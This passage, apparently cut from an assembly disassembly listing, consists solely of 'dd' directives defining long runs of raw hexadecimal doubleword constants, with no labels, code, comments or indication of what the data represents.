849AA575h, 900089ECh, 53579C8h, 0F2C6882Ch dd 370100F3h, 5E5D119Ch, 6000E13Fh, 78B415EEh, 7CB5310Eh dd 0E0D60034h, 0CD3D02E5h, 9C00A4DEh, 5A8F6790h, 668439h dd 0E67F7CF9h, 43EF763Eh, 8E00D3F2h, 0C85FDCB7h, 0BA1F59Dh dd 501B2E49h, 0DA1638A0h, 4A76FE45h, 4F6E6A00h, 78E61A10h dd 9B30003h, 0D3307FECh, 680557E3h, 0E0C3F139h, 3689ED18h dd 0B9A513FAh, 0F8F400AFh, 437AD4FEh, 34917400h, 3205D0E7h dd 715B6028h, 0C6099DD9h, 85FA8717h, 18F0B01Ch, 0F0BC12CFh dd 11B96378h, 0F3C0A902h, 0A80056Bh, 663900BCh, 0D0D6A2CAh dd 773057B9h, 1FD42843h, 60C97059h, 5E7468BDh, 0FD00EAFAh dd 6681FB3Dh, 0A5AAB7h, 99ADB6Ch, 5AFAE01Eh, 4A38CC60h dd 90B15Eh, 6451ACA4h, 48308C68h, 14961300h, 8D9E56D5h dd 66AF0E26h, 0F180A491h, 0ECC8FE53h, 25CC5D24h, 5FB42900h dd 79E81Fh, 6CBC0878h, 51F5C026h, 0B2EDF600h, 0FC353DC5h dd 0CB5E00B5h, 9124102Eh, 42006795h, 0AEE7CBFh, 0CEDFE9h dd 0A0D3D93Ah, 0A2FF5F79h, 7103AF7Fh, 0DC17270Dh, 0B60AC070h dd 5DDA0064h, 0A3C90E11h, 3B003C12h, 3A17EFE2h, 2584EE06h dd 4004CE0h, 0FC63B40Ah, 49B52B00h, 0FA442A7Fh, 676F0EF6h dd 0F5C05917h, 7A71857Dh, 0BA150C9Eh, 0EF9400D8h, 0B87F5414h dd 63260032h, 0C10D1C59h, 4F2DA4B6h, 93D820DEh, 41668F3h dd 1E5961A1h, 337E806Eh, 0BF594A60h, 55E10F20h, 30A90490h dd 0B8160C80h, 8AA6017Fh, 5402697Ah, 0F404C8A0h, 7F6B313h dd 7EFFE8C0h, 5DAB097Bh, 3080561Fh, 9DB8AAF7h, 4D834D48h dd 875B7E08h, 0E2724843h, 83190012h, 0FC928B7Bh, 4A00106Eh dd 90C8942Ch, 0C0D4141Fh, 9F598031h, 0FA00459Ch, 4C32AA97h dd 25A0CFh, 84EB1F50h, 94709BF5h, 63045AE4h, 2F8FFD3Bh dd 0A47A2480h, 25B91E1Fh, 0AF89002Dh, 4D95663h, 2B283Bh dd 0A806484Eh, 0EFFEBDAh, 0E7A0E339h, 18422680h, 1407978Eh dd 30AF8486h dd 0B77AC230h, 0E3050050h, 260485A2h, 0AD6F1209h, 5384B029h dd 88A644BCh, 480F1E44h, 0A8A542CCh, 22F02A22h, 1824807Bh dd 0C5831D4Bh, 35C2568Eh, 73A290E0h, 383483Fh, 7A173A3Dh dd 0FA34987Dh, 44ED009Bh, 0D2217542h, 66002883h, 0E8741A5Ch dd 0AA71Ch, 46038E0h, 753B2ECFh, 0A0B11000h, 0EF445A3Fh dd 0FCBB6F3Ch, 52C48320h, 880064A6h, 0E16EA305h, 0F8A1DC27h dd 40F83A9Fh, 409A599Eh, 0D8B76C81h, 8900AD4Eh, 987F1F05h dd 28A440Dh, 997B733Ah, 0B4808778h, 766DF96Ch, 4DAB20C0h dd 81EF2Eh, 3A75DC32h, 3960E951h, 0EEF0EC07h, 0CDC0DDBAh dd 0A74C6E1h, 0FF723B62h, 52600D4h, 0E9C56960h, 5510C754h dd 8DF93E18h, 39FB8890h, 0CD80A1BDh, 817F9A14h, 3F02C95Ah dd 78EE98AAh, 5BFCA0E9h, 78958456h, 93E41E4Ch, 91CD438Bh dd 0CB8A7EEh, 0E2001322h, 2FFF866Ch, 0E8BB212Ch, 63AB003Ah dd 9C9EDB17h, 5474B805h, 8B00317Ah, 58A82CDFh, 57A549h dd 8FC22414h, 0DE92BE46h, 96045200h, 0E9C4C1BAh, 0E8870398h dd 0A80C2470h, 80CA03B1h, 0D3BAE080h, 0F881DF8h, 618B6D15h dd 0A19F94E0h, 1AB862FEh, 68D0560Fh, 0AD67C308h, 0AB24AB8Ah dd 0CDF0003Eh, 0FF19A616h, 7CF07A9Fh, 16C0815Fh, 7E2FE58h dd 5514D66Ah, 7D0C60FBh, 0CC00DC4Bh, 23309777h, 1EC42658h dd 0FD3D03h, 19D15E51h, 3818DCB2h, 6460F18h, 6A3D1D6Dh dd 0C1BEC1E5h, 0DE60AC59h, 0A9BDD081h, 0E93C2057h, 0B09E8100h dd 5AC9DA2Ah, 12610031h, 41E5A937h, 0B41C1CD0h, 1D1DCC2Fh dd 4C083DCh, 1D6BD08h, 78FE00C4h, 0CF0590D4h, 9700B84Ah dd 0EA19925h, 0E04B68BDh, 8AF22Bh, 92665A84h, 0D482DA08h dd 0C7C566C4h, 60736180h, 0B01600ACh, 67CE958h, 26246342h dd 0AF00142Eh, 52832AA1h, 0A936010Eh, 82FF70BFh, 0D875D1BDh dd 0A400E4DFh, 4957EC90h, 12F2080h, 1268EA26h, 81CFBAC0h dd 6A9F4D1Ah, 9820CD72h, 42DA0018h, 83F58D76h, 0F61E3533h dd 0C8C09BF7h, 48DE10E4h, 88D70107h, 9EE33B91h, 0FBD44087h dd 47007CA9h, 0E5F96ED5h, 0E2F5ECDDh, 859A1D18h, 0FBF6C07Eh dd 0CD4371CEh, 880F8601h, 0CA347A3Eh, 1CC36AE8h, 81BBA4E9h dd 5228EE42h, 8E802FE1h, 246D450Dh, 0A01F68h, 7E066BB2h dd 1EA1873h, 20C12200h, 0B980F855h, 41C70F1Dh, 3EC0A0ACh dd 3888F7CDh, 7C7C58h, 0F211CA8Ch, 5F76A1h, 0EDBCE033h dd 7D37098Eh, 8BAD0807h, 4D90560Bh, 279EB9h, 0C35C5881h dd 0F1945F2Dh, 70344524h, 0F480971Eh, 1340C176h, 0A52B2A3Fh dd 55F318E8h, 0E20919C8h, 745B2900h, 42B4835Ch, 0F87350ABh dd 72F40069h, 17FF44F8h, 0D300B93Ch, 2C88197Fh, 0BF2B76h dd 0AD1C399Dh, 0C69509E2h, 0E5BCEF00h, 0E054673Fh, 702F0025h dd 0C5DF3374h, 5C00A8FDh, 916316FCh, 3B5313C1h, 0E50048B2h dd 3D70DF44h, 0FD00CC45h, 0B10C0203h, 0EF04A882h, 8850C0F6h dd 542900CAh, 0F006F2A3h, 8D00EBBFh, 52E7C195h, 18556D4h dd 35844074h, 7019DB9Eh, 161F91B3h, 0BA007015h, 3E142076h dd 23FB0085h, 4506A3F3h, 570637D2h, 318A33F5h, 8E7550h dd 26A7CE59h, 250B09A6h, 0FE198100h, 0E9173FE8h, 48280040h dd 695673F7h, 0E2007E5Ch, 47EF51A5h, 7AFE8EC0h, 0B97F3Bh dd 810B8860h, 410444E2h, 0E6B12800h, 1FA6912h, 2E463D64h dd 0AFF76300h, 0C45EC0B6h, 0C14CD500h, 0EF6BB9E2h, 45840051h dd 4706A225h, 600093E6h, 9824E091h, 720F1F62h, 0B1FF00FCh dd 0B0BF6AACh, 0E700F281h, 94800A55h, 3DD5B8FDh, 7C80F638h dd 7E029BBEh, 1D00EF54h, 2B3DA261h, 1B1FCh, 0BCD81CB3h dd 80757FDCh, 0D4989612h, 0D10B9400h, 28A6Fh, 8978D845h dd 0FDFB14D5h, 0D77E5DEAh, 4A2239h, 9DB91B98h, 0D938A0h dd 5D4F3D1Ah, 0CC109179h, 0E7CB6200h, 0F1E42971h, 11781DF0h dd 0CDAD81D4h, 0E4F39944h, 0E0387ED8h, 0A1C8034h, 0A6C2A97Dh dd 0B71B0193h, 482D65F6h, 88EDF8D4h, 0F73F7F7Fh, 0AF880A0h dd 0C49A56ECh, 4AAD07F5h, 0A0D2021Eh, 0B501EEA1h, 58349C00h dd 91D6EAAEh, 0FC3900A0h, 1A217806h, 97286842h, 6E008CE9h dd 0EB8D81C4h, 0CD8A85h, 126540F1h, 8BA2E21Dh, 0C5C3C00h dd 8861DB7Ch, 94D248F2h, 0D120700Bh, 83862180h, 94001AFDh dd 0CD3F7279h, 9011A380h, 639100B1h, 0BCB9C5D5h, 5700B424h dd 5661D2D9h, 0FBC658h, 2E44DB53h, 0B8656A9Eh, 8E273300h dd 0F9EF38BEh, 14EF2EEh, 0B2E3BB02h, 0FD349AB5h, 22C0C235h dd 0DB003355h, 4676190h, 0E7A45Fh, 39B05AE9h, 0BBB7AA8Eh dd 3F6FEC01h, 859EEA1Dh, 0A0D28520h, 2048698h, 0C74815D0h dd 0EDC0F0EBh, 233BA895h, 99718B13h, 2B2B06B2h, 0BFE00E6h dd 0A04D8C32h, 0EE13B8C5h, 2E073EFCh, 0B3F04C08h, 2D1CC7h dd 28B62677h, 3256F9C5h, 0A542150Eh, 416A137h, 0C2400AE4h dd 39173CC7h, 5E80C2C8h, 90CA5B68h, 0C9E6E44Dh, 72BFD603h dd 0E8FC3207h, 126A3E34h, 235F394Bh, 12D83104h, 0CD00F195h dd 0DFED3AE7h, 595BC9h, 0DC7E1DC5h, 0E6F8DDC1h, 39F4DA00h dd 0BDB7A52Fh, 0D5C80556h, 3F7FFEh, 99705EF0h, 0EE00518Bh dd 4421DBD7h, 7AA89Ch, 0B92BCF17h, 2F6E9B1Ch, 2DDE160Fh dd 974D206Ah, 245554h, 38EF46AAh, 295B83DCh, 5D0FFA00h dd 4097E331h, 575AC967h, 0E84AB400h, 6900B423h, 5A6E4CAFh dd 0F67C442Dh, 0E5B30511h, 1452187Dh, 0DB03BCFEh, 0E7267FA1h dd 7999C6C0h, 0D770F00h, 6748ABB8h, 3C0530C5h, 0DDBEB658h dd 8F6D7212h, 95864C40h, 0B3E184h, 533AAA48h, 930E922Ah dd 4F14609Dh, 0F091E4h, 0D9BCCD27h, 68C0948Eh, 2649632Dh dd 5F9502C2h, 7030C868h, 6973DBC0h, 0F69ECA28h, 0C705BE0Eh dd 0E1E980F5h, 1D0E5BA4h, 0DF8B1F16h, 0DC5AC036h, 1715C804h dd 0B3E5D000h, 72A9CA81h, 9F7909EEh, 38011C7Fh, 0E07D2BB1h dd 5B004F46h, 0CA8CDBCh, 8D6573h, 0B10FCC96h, 6C399499h dd 0F75B982Eh, 0CB1CC900h, 0EC767CD8h, 0A53F006Ah, 9E088307h dd 98CE2C54h, 61AC589h, 425D9E80h, 0D07A2Dh, 36826488h dd 15748BCAh, 4C721000h, 3C473E35h, 16DA00EBh, 0C3A852A2h dd 6900EE08h, 64F041AEh, 981F1377h, 38E72C04h, 3D003F41h dd 7C30CC23h, 31B03F67h, 0B1EF1C00h, 0BCD29F7Ah, 0EB18039Dh dd 2C47CD45h, 711A8085h, 0AD03A7B8h, 0A52DABF6h, 6E83D8E3h dd 5D170FF8h, 0D5000440h, 0D7C06597h, 4D15C500h, 0D4661B3h dd 33D0A00Eh, 808700D5h, 55E941BEh, 0F200B65Dh, 86220CFEh dd 7695967h, 4D6E9A33h, 7119905Ch, 0BD07A9CEh, 0B7B9AA39h dd 5EA06071h, 1F7D360h, 9FF20502h, 0D02C990Ah, 0AC72DD89h dd 0AAA73800h, 0D85E185Dh, 21F0C5h, 80144CCh, 941BF2A9h dd 192F9E1Dh, 0BD7B6800h, 0E3C238h, 6C823D5Eh, 0D5CAEC2Ah dd 0B8E49831h, 0EC602947h, 0B63F021Dh, 10504271h, 0FE0040D5h dd 0FB8A0075h, 0C8652BF5h, 262EB2B9h, 2F014511h, 0B0CE3BC9h dd 0BFCD9841h, 0E885C8h, 0B7479832h, 92DD175Dh, 0B18D100h dd 0BA1EF059h, 0DE083C57h, 0B9035500h, 902E6FD2h, 0F9001498h dd 1C93C5D6h, 1FB141C3h, 401D638Ah, 2F46B48Ch, 2C00A55Ah dd 0A0953837h, 0AB240Bh, 626A996Ch, 0F8C6787Eh, 1190F500h dd 63A80CFh, 3C200023h, 2AC5A2C9h, 340709CDh, 626B3292h dd 784AF90h, 0F516000Bh dd 5D457AA3h, 2EEF1BAh, 1E134B00h, 8568FAAh, 47190016h dd 0CF70E232h, 5A036058h, 594CF7EBh, 281A917Ah, 0C4B460h dd 354D4294h, 0E0D4C08Eh, 79D63Fh, 87CE3845h, 1F7F8h, 4095EA5h dd 0D2FF3630h, 57A95D00h, 163F0F2Ah, 0C4A403D6h, 58102C21h dd 1E85BEE8h, 5E901B2Eh, 4000E826h, 9FD660C1h, 2DA17333h dd 0A6DE9662h, 678F9800h, 27B8D8h, 0E1532FB5h, 0F4F2C233h dd 22DE022Ch, 29134200h, 1E3047Bh, 1BE039FEh, 0C053058Ah dd 82184A4Fh, 0CCF0E769h, 812800D6h, 0F382498h, 0DEE63AF9h dd 4FE78200h, 3B081B0Dh, 346F2F3h, 509FFFC6h, 0EA005733h dd 54397CE4h, 0D96120h, 0CD1872ECh, 63F92D2Ah, 4EF79203h dd 0E07333E0h, 3C7671Fh, 0BAD0B58Dh, 1BC81CD2h, 460CDDBDh dd 91378844h, 73AC0032h, 0FA09CE39h, 2400038Ch, 98839C4Ah dd 0A168B5A2h, 64C4C9F4h, 53E01885h, 8D8438E6h, 447A0600h dd 0CE9C4BB8h, 2B9B0078h, 0FD98630Ch, 3707DE29h, 34C3BB55h dd 0CBF5AEB0h, 1294F021h, 67B070h, 0FFC01267h, 0A900FD55h dd 1CF4E106h, 374632h, 20B81B3Eh, 47F5FA8Ch, 0C2D43Ch dd 406D252h, 0E85BEAh, 0F1A49E57h, 0ECCF619Dh, 65030BFEh dd 7FB606FFh, 8ED488A1h, 0E394003Bh, 0D9D6E5F3h, 78264B4Dh dd 0DA017090h, 945222D2h, 169B67CCh, 1D836CA8h, 0C2424014h dd 7C24E835h, 21D2CF00h, 0AB4CA9AAh, 8C6004Ah, 0C52A6164h dd 7200A198h, 1AD4983h, 5C815BCAh, 4D0044EBh, 0D2A25206h dd 0EE1EC414h, 5E4B8093h, 83AC0E2Dh, 0BBE24359h, 0D81D98F0h dd 0F50A0098h, 0DEA22F15h, 0A1014D7Ah, 13EF338Fh, 0AEE0F8D3h dd 837B00CEh, 4096F7D2h, 0AF90750Dh, 0E9A43Ah, 0F54CE52Ch dd 7779DDh, 67E387C0h, 0AF46CECh, 0AD99BA09h, 0EBCC80D2h dd 1872DF7Ah, 1001644Ah, 0BA00A665h, 58C0CE77h, 0F81B98h dd 82CB81EDh, 0B259FBACh, 8DB33501h, 0DCB89E02h, 397A29C4h dd 5F80939Dh, 125987ADh, 7D0E34E9h, 0EF448855h, 4B77402Dh dd 4C0360D5h, 4900080Eh, 0C6F8B15Fh, 0AC0056DDh, 0DB70DCDEh dd 99B935h, 1F8B08CAh, 4ABF4E3Ah, 8CD7EC00h, 0EB14C36Fh dd 11A50070h, 85236272h, 4E00AF89h, 0BAAC13A8h, 30529805h dd 0BD584F78h, 6D01242Bh, 5B8AF1DFh, 1AF9F7F4h, 0EE7FFC40h dd 4407027Bh, 6F52E3FBh, 0D4DF3FC1h, 0C800776Dh, 22FCE974h dd 382163Dh, 5BD4244h, 29006B4Ch, 97C460F3h, 0BE87Bh, 754DA8B5h dd 54760CA7h, 9E7F9C1Dh, 1B003064h, 0E18805DFh, 1CB02606h dd 0A0960F38h, 1F2803E0h, 9874FFC7h, 4C635379h, 0E0780930h dd 0E22AACh, 9261492Bh, 5BF1254Eh, 5FB46700h, 0BC95E622h dd 97EF0068h, 35A8579Bh, 9E00FC82h, 187B568Eh, 0FDF173Fh dd 5D111ADEh, 701D5220h, 84051BDAh, 0C3FDE650h, 973E4800h dd 1505319Eh, 54CAE1D4h, 0C840B420h, 0FC52009Fh, 0A98EAB64h dd 0D413D371h, 3900DF40h, 488D357Ch, 5EDD0055h, 7417BCBAh dd 103E8C9Bh, 0DA3E87DBh, 25918172h, 19FCF4DEh, 9786007Fh dd 0F2290991h, 90007BE9h, 127708Eh, 3EA58162h, 4C00FA4Dh dd 9B764067h, 98C029C6h, 0CF063213h, 3757CEAh, 622631C3h dd 0F20F4DA7h, 5091392h, 1800E4CEh, 0A2EDC9BFh, 56A50EB6h dd 8B9A3B7h, 0F1218019h, 0D727EDACh, 381AF086h, 8B1D15FAh dd 1F03A07Ah, 5B9992F5h, 0BB110063h, 95E50338h, 7F195033h dd 650843E1h, 0C0BD2187h, 0AABF7003h, 68C023BCh, 6B7EED5Dh dd 4D130EADh, 49E05278h, 91124251h, 52F0F54Eh, 88680093h dd 0CAEF3C86h, 620F6C39h, 5492F47Ah, 3158040h, 8C4B95F0h dd 929D20h, 2703DDBCh, 0F458FC79h, 99B38700h, 3DA9AF09h dd 981451BAh, 30DF9402h, 7B11EDC4h, 2588DDB6h, 0EDAF3C80h dd 0F97CD0h, 4B49978Ch, 0D9F22477h, 0A9BE9232h, 6FA3E1B2h dd 0CF9BB880h, 34A988EBh, 0E767D000h, 438122E0h, 8988A032h dd 967E0F59h, 60C02627h, 0FDF14109h, 7F54BF00h, 0E1FC1099h dd 668F00E3h, 985090C8h, 0CCF4C7BEh, 2EFEE503h, 0C92AA58Bh dd 6DC8F9D7h, 4E7C0036h, 184AAE23h, 9E3A82F4h, 4993000Bh dd 7904AF8Fh, 0DC0A00C8h, 3CB0EAEh, 6558D883h, 0ACD000EEh dd 12AC09Dh, 4AF02C45h, 675F0014h, 0C5C796AFh, 5C2C4100h dd 93B3833h, 0BA5300A6h, 8002CF27h, 7960D029h, 13353348h dd 46F40691h, 18D1E456h, 0EEFCD800h, 22AE9E0h, 85AF1EB3h dd 8115806Bh, 4B3D2FAEh, 0B1BFA300h, 0EA56C92Ch, 2E4F3EB3h dd 31DB0C01h, 876A4D5Eh, 697D94A9h, 14D1FC57h, 42D0BD7Ch dd 0E2FA0028h, 0C1324530h, 0DC009CD4h, 6685CFDDh, 1ED7485Fh dd 5B2ECBEAh, 0B007B8CCh, 1C4D9271h, 2CC4C090h, 182E6078h dd 0E60AAEC7h, 770DA900h, 0A862D8DAh, 8E285052h, 0C82F0334h dd 72DC46BEh, 0AC215CC0h, 0B37A3F03h, 7517FCh, 60F462A8h dd 0B7D277CFh, 0A058226Fh, 0AF8C1971h, 7D101D3h, 0DD2F56A1h dd 44AC4014h, 48C38160h, 74A663h, 83ABBFD0h, 0A4CE51EBh dd 0E7A5DE1Dh, 0B1116B84h, 540BB980h, 7B190087h, 480AF1F7h dd 0F863FEF0h, 3E6B8B08h, 7B80B920h, 66141BC6h, 75009962h dd 0EB7DE4E3h, 1D6F634h, 6755E1B6h, 0CC231EC5h, 62EC783Ch dd 0C2E8E21Dh, 0D700E711h, 428D2416h, 0C1FEBC65h, 994880E5h dd 4A670985h, 88960789h, 0E328BB42h, 2061D1B1h, 0D76A67A9h dd 0C10048BCh, 2501A421h, 4B00808Dh, 624FFDAh, 30999634h dd 15E9E3C3h, 4841B05h, 0F5A37B2Dh, 76663EAh, 7B25BD21h dd 0AD450ECh, 6A317275h, 0B9657802h, 3E5C7FCh, 0DF4B7BBh dd 88066DCh, 36003E7Dh, 0AD09D09Bh, 73A89C2h, 0DBB406Dh dd 0E7C91067h, 160F9770h, 9853AEDDh, 700EABC1h, 0DBD03DBh dd 0A562AF82h, 21D50830h, 0C3F9974h, 7971DE7Ch, 8602F0A1h dd 6764DAEAh, 970D40C1h, 0D0490F57h, 0F240136Bh, 4B2E3A29h dd 6200B7F8h, 0C5256909h, 7BF11C04h, 310F0721h, 7948E8h dd 15071DE6h, 3D29E303h, 80AFB636h, 0BA8E26h, 0F886841Eh dd 0DADF1D0Ch, 0B2004E78h, 767A7BEFh, 3BA82DD5h, 8B00D410h dd 2E205C55h, 59001358h, 0E446C15Dh, 0B805B0h, 5C09E881h dd 0AACDB41Ch, 8FA31600h, 4439D2D4h, 0C7F70078h, 4FF23603h dd 1D005697h, 0E7EB16B4h, 787A548Eh, 1C60CEE9h, 30490E2Dh dd 0A7B896B5h, 3AFC358h, 0AD49CF61h, 0FA69A8E8h, 2367001Eh dd 56A20F63h, 7100F920h, 0D29625A6h, 188A5112h, 599F9EA5h dd 630064F0h, 921059DAh, 1EDB4AEh, 2E6B1FE6h, 0D09D3240h dd 0B6002686h, 91F62F68h, 60F2C3FEh, 4E24A06Ch, 6503D5A1h dd 1657D49Eh, 0FC181C87h, 425800B8h, 8F56014Ch, 0F9742406h dd 7C39639Fh, 0C4C3095Ah, 0B00088Bh, 2742D867h, 5CE2D100h dd 0FBC925A7h, 956F00DFh, 2D1A44D3h, 0D4E146BDh, 0A198862Ch dd 0FB35800h, 1EFBCC91h, 44681EEEh, 8D2E07FEh, 0BF230188h dd 708D41Bh, 4AD4A400h, 84E6D5BCh, 0E4B6018Dh, 943BA327h dd 0BCF8D13Dh, 84E28721h, 5FF12E30h, 0F60D0D6h, 9BCE005Ah dd 99AF6B80h, 3500CB79h, 1F32EA88h, 3C07689h, 67109F86h dd 8801E566h, 8D2F270Eh, 58B28834h, 0E9300D88h, 8F5A0884h dd 86E267Ch, 556400D7h, 5DB3619Eh, 0FF1EA000h, 358DD3BEh dd 98F50171h, 22FFD09h, 769BE46h, 0ABF6C51h, 0E0B3C0C2h dd 0C3B25D26h, 10772AA8h, 0D457A681h, 9C6D903h, 20C84Eh dd 3AE48F0Ah, 5136BECFh, 48AC6430h, 71CF3AFh, 0AD12A478h dd 573BD082h, 300DC5Ch, 0CD3666DAh, 0F50A09h, 997064CCh dd 3BA4B11Eh, 58A5BB02h, 0C08FE5E7h, 0FB41ACh, 0CE1639CDh dd 0BEA026EEh, 83E26703h, 0E82F8654h, 718430AAh, 0DA370003h dd 319762F4h, 7100E12Ah, 1ECBDE4Ch, 0B107C7h, 539DBE6Bh dd 0A3F2098h, 22588919h, 21875508h, 502FF768h, 1EB221A1h dd 947CC6ECh, 805A700h, 3EDCB497h, 605EFE70h, 0DF82196Ch dd 0F680B656h, 6A4E0013h, 8D387CFBh, 81F8CA2Ch, 0DE61AF60h dd 79E37AE4h, 18803C9h, 0ADFACE5Dh, 1B5AC0BFh, 0D0F8B8A0h dd 31213506h, 39A623h, 0FE8017F6h, 3F7FDFA3h, 0CD2EB707h dd 0EA834283h, 1ED293E8h, 1932780h, 0E2ACA34Ah, 6E6DC44Dh dd 80C08F3Fh, 0D87CAE69h, 9873E3DFh, 0E9D7561h, 0A98B4134h dd 0F090D9C7h, 74A0CC0Dh, 0A2F74Ch, 667917D3h, 7D093670h dd 56581F6Dh, 1680BDDFh, 8ED4A5DAh, 500B782h, 11FC9403h dd 1F47F390h, 870854B5h, 50213209h, 0A0251B4h, 0E284DE00h dd 22F5FFD3h, 1FA7002Eh, 3BC0C14Eh, 1B7EC227h, 0B6932B1Eh dd 3A588703h, 41380688h, 18ED1670h, 5E4EDD0Eh, 1F3AFF0Eh dd 53802450h, 6F1EFD28h, 56710333h, 0D4D58FFh, 400050C3h dd 0BC17725Ah, 8E3009h, 0F07B039Bh, 6E3E7435h, 0FCFAB00h dd 46824AC1h, 0D88C00BDh, 50634EF9h, 0A20CEB5Eh, 71048BA4h dd 428100D9h, 7024AC4h, 351837BCh, 5E686734h, 8B7021h dd 8C048253h, 0DC8331D3h, 4B03BEE8h, 0AD47F8E0h, 248053Bh dd 5834D9h, 65FC8DA8h, 0F8002398h, 46519315h, 0C09F05Dh dd 5FE6AF9Fh, 0BE003330h, 327987D4h, 1FEEB4C5h, 86D272EBh dd 61BF66D3h, 1B602507h, 1E4019B0h, 2E8642h, 0AA27856Fh dd 839E6ED3h, 0F9154174h, 7907C99h, 8DFF1DBEh, 51DCEA00h dd 170600D3h, 279F7D39h, 0A4A47F32h, 66419B2Eh, 0CA9C7E00h dd 0CB8EF1h, 6107E8D5h, 8BF6A0C3h, 0B1785200h, 6E4A9B98h dd 13F500C9h, 9A93A5D2h, 0CF003E91h, 0C646A957h, 0FA371504h dd 0DC3100D0h, 7392170Ch, 0F506F366h, 1A860FEBh, 8325030Eh dd 79FB475h, 24103Dh, 10806D88h, 1F53FD35h, 4165BBA7h dd 9F856E8Dh, 5728800Dh, 8B94C744h, 458400B8h, 0CE775497h dd 3003C529h, 0D41A7C4Bh, 0E996E046h, 833B0052h, 557F459Dh dd 5B0C4994h, 0B0CEC865h, 0D4412C3Eh, 0EC820E8Dh, 8960B20h dd 3700E2DCh, 0EAF95C63h, 8145B9h, 44853FAEh, 0D40C087Ch dd 2A53FC00h, 2977FAABh, 50C663A5h, 0AEEFE867h, 609AA898h dd 0E913561h, 1880AAE5h, 998856CCh, 0AC000FDBh, 266E503Eh dd 0FE70B47Ah, 654D0091h, 0AEA6FDD1h, 5C0031A9h, 0E0873954h dd 20924E5h, 0FA481D35h, 0F280F67Eh, 2585D67Fh, 8647FD3Ah dd 1F7388FEh, 21AC6708h, 3A2630EDh, 640052F9h, 0B130DBC8h dd 3BDDD4E0h, 0CE033519h, 0DA4975D2h, 5AAD6AC0h, 0CF865200h dd 672F0540h, 0F648C0C3h, 0D495A6DEh, 721851F2h, 1B098992h dd 0FE20C019h, 0C58F95FAh, 1DD9E800h, 0B43B59D5h, 518404Ah dd 28007BB8h, 0CDBB9CD0h, 3DC9831Dh, 4E004B06h, 8D04D676h dd 6C03A415h, 0E0EBA382h, 28E9187Ch, 4291D194h, 808E6900h dd 0B5444E46h, 35700096h, 86A694CAh, 0E666C8ECh, 1F6FD39h dd 5B17B641h, 983F99DFh, 0BE900208h, 52233FD8h, 7A796900h dd 6A882D35h, 60D79418h, 953679h, 0FD1525CEh, 2D867F1Bh dd 97EE6201h, 20A49987h, 0BB32C840h, 0A85550F1h, 3D83004Ah dd 1330456Ah, 0E500DB2Fh, 25A464A7h, 32D988Eh, 6FE83EA6h dd 0EFB8EEB9h, 90073C1Ah, 4A066B83h, 3978C08Eh, 0CE79B7h dd 7B9DD29Eh, 0DB11DF32h, 40BD8300h, 0EFA8F25Bh, 93130B56h dd 5600CF6Bh, 15189CD1h, 5F41F00h, 4BD9F7F8h, 43E204CDh dd 8765392Ah, 0FE9D8069h, 0E800936Eh, 0E0FA58DBh, 0FF4C3C8h dd 76FF0A20h, 0D89B0360h, 0A500E3A4h, 154D0BD5h, 5B9D1h dd 0BBF11F6Ah, 0D435DB63h, 746B6E07h, 0E570E037h, 0F3766F99h dd 304360F0h, 1F183324h, 34400681h, 148703FFh, 1ED36E3Dh dd 3890E9F3h, 3300B819h, 0CB37D6C5h, 3EAAB0Bh, 3EA8BD23h dd 3DF00578h, 6900A5E7h, 2E55A3B6h, 3948CBFh, 5F32F7DBh dd 40032722h, 0DC23BBAFh, 11101DAh, 57DBA0B0h, 0BD70F0C7h dd 213609CCh, 0F3B400E1h, 0A356836Bh, 5A0CEF1Eh, 0B822EEDCh dd 0E3AE31C7h, 0F5AC2128h, 3807D35Dh, 0F438DCA5h, 72832A6h dd 0E747B5D7h, 4E8957FDh, 393F0A5Eh, 7CA9384h, 0E03C31FDh dd 87C36543h, 0B7EED3Ch, 0E9B51Bh, 0C5DECB6Ch, 0EA69E844h dd 8ED507FAh, 634637B6h, 0E0D87E16h, 65FA0301h, 0DAF70C02h dd 0E00582B3h, 1D4B947h, 0D0528476h, 0C43678BAh, 8D1DF82Dh dd 0FA5CEFh, 0D443D785h, 1C0B09h, 0AF469CBEh, 7FA9C6A3h dd 758F5E01h, 14C51053h, 580336D4h, 7C0100ADh, 0FD176943h dd 0FB18807Bh, 97092AE2h, 0AFDE0144h, 0A433437Dh, 0ED1AF1F8h dd 0D4B2F092h, 190E7080h, 49D1E45Fh, 80AEE896h, 5BB35103h dd 1B7B4B7Fh, 30AB7908h, 1DAA3B98h, 8CC44103h, 0D0952Ch dd 156D3618h, 37D276BEh, 2E696A00h, 28FBFA5Ch, 0E73E17BDh dd 0DCFC0Fh, 8C451B42h, 0A8EB890Eh, 11AABD3Ch, 8C6351AEh dd 1D01A923h, 40ECAFB6h, 1E80CD8Fh, 3A019852h, 1D37BBADh dd 71D0FB02h, 0AA63EEAh, 3633A100h, 0D3F4116h, 0B8A4DA28h dd 0F239F100h, 66583D9Ch, 0C3320031h, 0A9CE0676h, 0F500D678h dd 0AFAEBC92h, 4CBF5D01h, 0A600751Dh, 6BB235E1h, 1A00E7B9h dd 0DAE60873h, 0C63C3Ah, 603E201Fh, 0D5EA254Dh, 9D6FB33Ah dd 0DA807E05h, 0CFCAF540h, 0AF3009Ch, 1FC82111h, 0BC00E414h dd 5E903934h, 66CFE5h, 80DB2854h, 0AE97AAABh, 0AC5A761Dh dd 0BC43CBC1h, 0CAF81687h, 0CD070081h, 6E7C868Fh, 4400729Dh dd 1F75C203h, 0EAFC398Bh, 703000EEh, 36FDC4CDh, 0F2001B54h dd 132F0888h, 0B49BD1h, 0CF436A8Bh, 84617035h, 75FFBC0Fh dd 0D8A600CBh, 5301BBh, 8FD97904h, 2FBA69BDh, 3F54B700h dd 95ACA21Fh, 0E7DA00CFh, 0AB8A4BCCh, 0F50B47E5h, 4CF1B4h dd 0B9ECBFDh, 7EA7EAE8h, 4F803D5h, 0FDE67167h, 0CE1FA003h dd 0F8CF35CDh, 0E2285F0h, 5B27DE3h, 47796F40h, 400F455Eh dd 667E959h, 1F19E6B8h, 9061BE50h, 0BD9000DEh, 0AF1C543h dd 0F2E4009Ah, 8D6E207Ah, 0C70763DBh, 4BAC6BD5h, 55FE13A0h dd 1E5708Ch, 77E208C3h, 3F73E719h, 44C8F0h, 5669A84Bh dd 1BE03F05h, 9754F300h, 0C137AC6Fh, 57680058h, 0B9787C8Fh dd 0DE120DF6h, 891C2680h, 9655EC40h, 1D84FB63h, 40B6BAADh dd 9C235A94h, 420C2AA2h, 91892B6Dh, 54020095h, 0B709695Fh dd 4B050830h, 0A0C0A8C8h, 6F76DC80h, 405E677Eh, 0B82A4215h dd 0A427C057h, 5CDE301Fh, 22450618h, 68AAE70Fh, 0CBC01EC7h dd 9E9F65BFh, 69C03BF8h, 773A8D80h, 8E17C76Bh, 0CB295C00h dd 48FFCAB2h, 